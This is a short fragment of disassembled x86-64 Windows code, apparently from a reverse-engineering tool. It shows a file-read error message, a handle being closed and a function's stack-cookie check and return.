lea rcx, str.Failed_To_Read_File_Data_Error_Code_is_0x_x_n
call fcn.1400114d3
nop
xor eax, eax
jmp 0x14001deee
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbp + 0x88]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14002e380]
call fcn.140011875
mov rax, rdi
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.14001150a
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret